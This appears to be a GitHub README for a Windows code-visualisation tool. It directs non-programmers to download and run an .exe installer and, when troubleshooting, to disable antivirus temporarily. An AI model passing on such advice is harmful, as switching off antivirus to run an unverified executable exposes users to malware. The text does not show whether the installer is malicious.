agentic-codebase helps you understand your projects by turning code into easy-to-follow maps. It builds visual graphs that show how parts of your project connect and work together. You get clear ideas about your code with tools that reveal links, potential problems, and future effects.
agentic-codebase is a tool to explore code projects in a visual way. Instead of reading long files or confusing lines of code, you see a concept map. This map shows how files and functions relate. It helps in:
- Finding connections between code parts
- Spotting areas where changes might cause issues
- Understanding how signals flow in the code
- Checking project health through impact analysis
You do not need to know programming to use it. The software works for any size project and creates diagrams that make code clearer.
Before you start, make sure your computer meets these:
- Windows 10 or newer (64-bit preferred)
- At least 4 GB of RAM
- Minimum 1 GHz processor
- 200 MB of free disk space
- Internet access to download the software
No other software is required to run agentic-codebase.
Follow these steps to get the software running on your Windows machine.
Click the big button at the top or go here:
This link opens the main GitHub page. You will find the latest releases and instructions.
On the page, look for a section usually called "Releases" or "Latest Release." Click it to open the list of available versions.
Inside the latest release, find the file that ends with .exe (for example, agentic-codebase-setup.exe). This is the installer for Windows.
Click that file to download it. The file size should be around 100 MB.
Once the file downloads, open it by double-clicking.
- If Windows asks for permission, click "Yes" to allow the installation.
- Follow the instructions on the screen.
- Choose the default settings unless you want to install in a specific folder.
- Wait for the setup to finish.
After installation:
- Find the new app by searching "agentic-codebase" in your Start menu.
- Click to open it.
You will see the main interface ready for use.
Once open, you can start exploring your projects right away. Here’s how:
- Click the "Open Project" button.
- Browse to the folder where your code is saved.
- Select it and confirm.
agentic-codebase will scan and build a graph showing the project’s structure.
- Nodes represent files or functions.
- Lines show connections like calls or dependencies between nodes.
- Colors highlight key aspects like impact areas or coupling strength.
- Use zoom and pan to navigate the graph.
- Click nodes for detailed info.
- Search to find specific parts of the code quickly.
- Filter to focus on certain types of connections.
These tools help simplify complex codebases into clear visual maps.
If something goes wrong, try this:
- Restart the app and try loading your project again.
- Check if your Windows is updated.
- Verify the downloaded file size matches the one on GitHub.
- Disable antivirus temporarily if installation or running is blocked.
- Check your internet connection for issues during download.
Revisit the download page here at any time:
https://github.com/Donovan443/agentic-codebase
For more information or help, use the "Issues" tab on GitHub to see if others faced the same problem, or to report bugs.
agentic-codebase updates regularly to fix bugs and add new tools:
- Improved graph clarity and interaction.
- Faster scanning and visualization.
- New analysis options like coupling detection and prophecy.
Check the releases page often for the latest version.
- Use on projects with well-structured folders for clearer graphs.
- Save your work regularly.
- Combine graphs with comments or notes for teamwork.
- Use the search feature to quickly explore large projects.
agentic-codebase works well with many code languages. It focuses on:
- Projects built with Rust, JavaScript, Python, and more.
- Static code analysis without changing your files.
- Building Semantic Graphs that describe code concepts.
This makes it a handy tool for any software project.
Check the GitHub "Wiki" or "README" for technical details. You can also open an issue to ask for guidance or report problems. The community and maintainers provide support there.